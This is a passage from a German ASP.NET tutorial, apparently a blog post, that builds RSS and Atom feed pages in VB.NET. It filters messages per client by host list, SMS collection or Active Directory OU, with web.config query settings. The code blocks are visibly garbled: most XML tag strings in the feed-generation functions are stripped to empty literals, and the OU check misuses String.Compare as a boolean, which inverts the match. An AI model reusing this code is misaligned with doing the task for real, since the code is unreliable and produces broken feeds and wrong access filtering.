In &#8220;targetou&#8221; kann ein spezifischer LDAP-String eingetragen werden, sodass später nur Clients die Nachricht bekommen die auch Mitglied der OU sind. Gleiches gilt für &#8220;smscollection&#8221;. Eine eingetragene Collection aus SMS stellt sicher, das nur Clients die in der Collection sind die Nachricht erhalten. Und die Spalte &#8220;clientlist&#8221; ist für spezifische Rechnerlisten. Dort sollen Semikolonseparierte FQDN-Namen von Rechnern eingetragen werden die die Nachricht erhalten sollen (z.B. zur Definition von Testfeldern).<br />
<span id="more-10"></span><br />
Weiterhin benötigen wir eine Webseite Default.aspx die uns alle verfügbaren Feeds auflistet:</p>
<pre name="code" class="html:nocontrols:ASP">
<table style="margin:auto;" border="0" width="50%">
<tbody>
<tr>
<td class="item">
<h3>&lt;%#eval("title") %&gt;</h3>

&lt;%#Eval("description")%&gt;
<ul>
<li>&lt;%#String.Format("<a href="http://www.xentrope.de/wp-admin/service.aspx?feed={0}"><img src="http://www.xentrope.de/wp-admin/images/rss2.gif" alt="" /></a>", Eval("id"))%&gt;</li>
<li>&lt;%#String.Format("<a href="http://www.xentrope.de/wp-admin/crfservice.aspx?feed={0}&amp;Format=atom"><img src="http://www.xentrope.de/wp-admin/images/atom.gif" alt="" /></a>", Eval("id"))%&gt;</li>
</ul>
</td>
</tr>
</tbody>
</table>
</pre>
<p>Ich habe eine Accessdatenbank in den App_Data Ordner gepackt, man kann aber auch andere Datenbanksysteme einsetzen. Wie man sieht, habe ich 2 Formate implementiert: RSS und ATOM.<br />
Der Grund ist simpel: Im <a href="http://cyber.law.harvard.edu/rss/rss.html">RSS</a> ist nach Definition kein HTML-Code erlaubt. Im <a href="http://www.ietf.org/rfc/rfc5005.txt">ATOM-Format</a> ist dies erlaubt.<br />
Fehlt uns noch die Datei &#8220;service.aspx&#8221; die letztendlich für die Auslieferung der Feeds zuständig ist.<br />
Im Page_Load Ereignis müssen wir nur prüfen ob eine FeedID übergeben wurde.</p>
<pre name="code" class="html:nocontrols:VB.Net">        If Request.QueryString("feed") Is Nothing Or _
Request.QueryString("feed").Trim = "" Then Exit Sub
Response.Clear()
Response.ContentType = "text/xml"
If Request.QueryString("Format") IsNot Nothing Then
Select Case Request.QueryString("Format").ToUpper
Case "ATOM" : Response.Write(GenerateAtomFeed)
Case Else : Response.Write(GenerateRSSFeed)
End Select
Else
Response.Write(GenerateRSSFeed)
End If
Response.End()</pre>
<p>Weiterhin wird unterschieden ob ein spezielles Format gewünscht ist, per Defautl verwenden wir RSS.<br />
Die 3 wichtigsten Funktionen zum Generieren der Feeds:</p>
<pre name="code" class="html:nocontrols:VB.Net">    Private Function GetAllItems(ByVal channelid As String) As List(Of message)
Dim SqlAllItems As New AccessDataSource
SqlAllItems.DataFile = AppSettings("Database")
SqlAllItems.SelectCommand = AppSettings("AllItems_SelectCommand")
Dim retval As New List(Of message)
SqlAllItems.SelectParameters.Clear()
SqlAllItems.SelectParameters.Add("channel", channelid)
'alle nachrichten des channels
Dim itemlist As Data.DataView = SqlAllItems.Select(DataSourceSelectArguments.Empty)
For j As Integer = 0 To itemlist.Count - 1
Dim msg As New message
With msg
.title = itemlist(j)("title").ToString
.description = itemlist(j)("description").ToString
.clientlist = itemlist(j)("clientlist").ToString
.id = itemlist(j)("id").ToString
.pubdate = itemlist(j)("pubdate").ToString
.smscollection = itemlist(j)("smscollection").ToString
.targetou = itemlist(j)("targetou").ToString
.author = itemlist(j)("author").ToString
End With
retval.Add(msg)
Next
Return retval
End Function

Private Function GenerateAtomFeed() As String
Dim responsetext As New StringBuilder
Dim reqclient As String = Net.Dns.GetHostEntry(Request.UserHostName).HostName
responsetext.Append(" ")
'alle channels durchgehen
Dim chinfo As channel = GetChannelInfo(Request.QueryString("feed"))
responsetext.AppendFormat("", chinfo.title)
responsetext.AppendFormat("{0}", chinfo.description)
responsetext.AppendFormat("urn:uuid:{0}", chinfo.id)
responsetext.AppendFormat("{0}", chinfo.webmaster)
responsetext.AppendFormat("{0}", chinfo.managingeditor)
For Each tmp As message In GetAllItems(chinfo.id)
Dim additem As Boolean = False
If tmp.clientlist.Trim.Length &gt; 1 Then
If tmp.clientlist.ToUpper.Contains(reqclient.ToUpper) Then
additem = True
End If
ElseIf tmp.smscollection.Trim.Length &gt; 1 Then
If IsClientInCollection(reqclient, tmp.smscollection) Then additem = True
ElseIf tmp.targetou.Trim.Length &gt; 1 Then
If IsClientInOU(reqclient, tmp.targetou) Then additem = True
Else
additem = True
End If
If additem Then
With responsetext
.Append("")
.AppendFormat("", tmp.title)
.Append("")
.AppendFormat("
<div>{0}</div>

", tmp.description)
.Append("")
.AppendFormat("{0}", tmp.pubdate)
.AppendFormat("{0}", tmp.author)
.AppendFormat("urn:uuid:{0}", tmp.id)
.Append("")
End With
End If
Next
responsetext.Append("")
Return responsetext.ToString
End Function

Private Function GenerateRSSFeed() As String
Dim responsetext As New StringBuilder
Dim reqclient As String = Net.Dns.GetHostEntry(Request.UserHostName).HostName
responsetext.Append("")
'alle channels durchgehen
Dim chinfo As channel = GetChannelInfo(Request.QueryString("feed"))
responsetext.Append("")
responsetext.AppendFormat("", chinfo.title)
responsetext.AppendFormat("{0}", chinfo.description)
responsetext.AppendFormat("{0}", chinfo.webmaster)
responsetext.AppendFormat("{0}", chinfo.managingeditor)
For Each tmp As message In GetAllItems(chinfo.id)
Dim additem As Boolean = False
If tmp.clientlist.Trim.Length &gt; 1 Then
If tmp.clientlist.ToUpper.Contains(reqclient.ToUpper) Then
additem = True
End If
ElseIf tmp.smscollection.Trim.Length &gt; 1 Then
If IsClientInCollection(reqclient, tmp.smscollection) Then additem = True
ElseIf tmp.targetou.Trim.Length &gt; 1 Then
If IsClientInOU(reqclient, tmp.targetou) Then additem = True
Else
additem = True
End If
If additem Then
With responsetext
.Append("")
.AppendFormat("", tmp.title)
.AppendFormat("<!--[CDATA[{0}]]-->", tmp.description)
.AppendFormat("
{0}", tmp.pubdate)
.AppendFormat("{0}", tmp.author)
.Append("")
End With
End If
Next
responsetext.Append("")
responsetext.Append("")
Return responsetext.ToString
End Function</pre>
<p>Ich hatte geschrieben, das wir prüfen wollen ob ein Rechner in einer bestimmten OU oder Collection enthalten ist:</p>
<pre name="code" class="html:nocontrols:VB.Net">    Private Function IsClientInCollection(ByVal client As String, ByVal collection As String) As Boolean
Dim SqlSMSCollection As New AccessDataSource
SqlSMSCollection.DataFile = AppSettings("Database")
SqlSMSCollection.SelectCommand = AppSettings("SMSCollection_SelectCommand")
SqlSMSCollection.SelectParameters.Clear()
SqlSMSCollection.SelectParameters.Add("smscoll", collection)
SqlSMSCollection.SelectParameters.Add("client", client.Split(".")(0))
Dim dv As Data.DataView = SqlSMSCollection.Select(DataSourceSelectArguments.Empty)
If dv IsNot Nothing Then
If dv.Count &gt; 0 Then
Dim clientsmscoll As String = dv(0)("Collection")
If clientsmscoll.ToUpper = collection.ToUpper Then Return True
End If
End If
Return False
End Function

Private Function IsClientInOU(ByVal client As String, ByVal ou As String) As Boolean
Dim SqlComputerOU As New AccessDataSource
SqlComputerOU.DataFile = AppSettings("Database")
SqlComputerOU.SelectCommand = AppSettings("ComputerOU_SelectCommand")
SqlComputerOU.SelectParameters.Clear()
SqlComputerOU.SelectParameters.Add("client", client.Split(".")(0))
Dim dv As Data.DataView = SqlComputerOU.Select(DataSourceSelectArguments.Empty)
If dv IsNot Nothing Then
If dv.Count &gt; 0 Then
Dim clientou As String = dv(0)("distinguishedname")
clientou = clientou.Substring(clientou.IndexOf(","))
If String.Compare(clientou, ou, True) Then Return True
End If
End If
Return False
End Function</pre>
<p>Jedem, der jetzt noch da ist dürfte aufgefallen sein, das die Application Settings aus der web.config fehlen:</p>
<pre name="code" class="html:nocontrols:XML">
  <appSettings>
    <add key="SMSCollection_SelectCommand"
         value="select distinct co.CollectionName as 'Collection'
                    from SMSServer.SMSDatabase.dbo.Collections as co
                    , SMSServer.SMSDatabase.dbo.CollectionMembers as cm
                    where cm.Name like @client
                    and co.CollectionName like @smscoll" />
    <add key="ComputerOU_SelectCommand"
         value="select distinguishedname from ADDatabase.dbo.ComputerReport where name like @client" />
    <add key="Channel_SelectCommand"
         value="Select * from channels where id=@feed" />
    <add key="AllItems_SelectCommand"
         value="SELECT * FROM(Items) WHERE (((items.published)=Yes) AND ((items.channel)=[@channel]));"/>
    <add key="Database"
         value="~/App_Data/database.mdb" />
  </appSettings>
</pre>
<p>Den Key &#8220;ComputerOU_SelectCommand&#8221; muss man gegebenfalls anpassen wenn man ein Mirror des Active Direcotys in einer Datenbank zur Verfügung hat. Wenn nicht, muss die Funktion &#8220;IsClientInOU&#8221; angepasst werden sodass direkt per LDAP geprüft wird.</p>
<p>Damit ist die ganze Show getan. Man sollte jetzt noch ein Admin-Interface zusammenschrauben.</p>
<p><a href="http://www.xentrope.de/wp-content/uploads/Feeds_Sample.zip">Beispielsourcecode</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/aspnet-2-in-30-minutes-feeds-made-simple/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
